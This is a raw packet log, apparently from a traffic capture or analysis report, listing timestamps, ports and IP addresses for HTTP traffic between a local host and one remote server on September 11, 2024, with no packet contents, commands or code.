Sep 11, 2024 18:23:57.869927883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869942904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869949102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869954109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869961977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869966984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869975090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869982004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869987965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.869993925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870001078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870007038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870013952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870013952 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.870021105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870038033 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.870696068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.870805979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870815039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870820999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870827913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870835066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870841026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870846987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870853901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870860100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870867968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870874882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870879889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870881081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.870881081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.870886087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870893002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870898008 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.870898962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870906115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870913982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870919943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870924950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870930910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.870970011 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.870970011 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.871772051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871779919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871786118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871792078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871799946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871804953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871812105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871819019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871824026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871829987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871838093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871841908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871850967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871857882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871864080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871865034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.871871948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871881008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871886969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871892929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.871923923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.871923923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.872020960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.872713089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872721910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872726917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872733116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872740030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872745991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872761011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872769117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872773886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872780085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872791052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872797966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872805119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872812986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872817993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872824907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872833014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872839928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872845888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.872853041 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.872884989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.872884989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.873652935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873661041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873667002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873673916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873681068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873686075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873692036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873698950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873704910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873712063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873719931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873725891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873730898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873738050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873745918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873750925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873759031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873766899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.873784065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.873784065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.873831034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.874610901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874617100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874624014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874633074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874638081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874644041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874660015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874664068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874670029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874677896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874685049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874692917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874735117 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.874735117 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.874891043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874897003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874902964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874911070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874916077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874922037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874929905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874934912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874942064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874949932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.874954939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875008106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.875008106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.875433922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875441074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875447989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875454903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875459909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875466108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875473022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875478029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875484943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875493050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875499964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875507116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875514030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875519991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875528097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875535965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875541925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.875546932 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.875547886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.876174927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.876198053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876204967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876210928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876352072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876358032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876363993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876370907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876375914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876382113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876395941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876401901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876408100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876415014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876420021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876425982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876434088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876440048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876445055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876446962 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.876446962 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.876451015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876841068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.876873016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876882076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876887083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876893044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876899958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876907110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.876919031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.877168894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.877182961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.877190113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.877196074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.877204895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.877671957 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.877882957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.877890110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.878046036 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.878065109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.878073931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.878261089 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.879451036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.879456997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.879641056 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.879654884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.879662991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880429029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880438089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880443096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880450964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880458117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880462885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880466938 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.880491018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.880542040 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.880573988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880579948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880587101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880594969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880599976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880732059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880739927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880744934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880753040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880759954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880764961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880770922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880779982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880784988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880790949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880799055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880803108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880806923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.880806923 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.880809069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880821943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880846024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880861998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880868912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880873919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880880117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880887032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880891085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880898952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880902052 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.880902052 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.880904913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880909920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880917072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880924940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880930901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880938053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880944014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880949020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880954981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880963087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880970001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880975962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880983114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880991936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.880997896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.881005049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.881015062 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.881015062 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.881025076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.881032944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.881040096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.881047964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.881052971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.881058931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.881073952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.881114006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.881428003 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.882580996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882587910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882594109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882601023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882606030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882612944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882627964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882633924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882639885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882736921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882736921 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.882744074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882750034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882759094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882764101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882771015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882777929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882783890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882790089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882797956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882802963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882807970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882816076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882817984 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.882817984 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.882821083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.882874966 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.882874966 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.883306026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883312941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883320093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883423090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883429050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883435965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883443117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883445978 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.883447886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883455038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883461952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883467913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883475065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883497000 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.883497000 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.883692980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.883721113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883728981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883733988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883739948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883748055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883753061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883766890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883774996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883779049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883785963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883793116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.883817911 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.883831978 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.884839058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.884860992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.884867907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.884872913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.885235071 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:57.885354042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.885361910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:57.885369062 CEST	80	49710	104.21.14.133	192.168.2.5
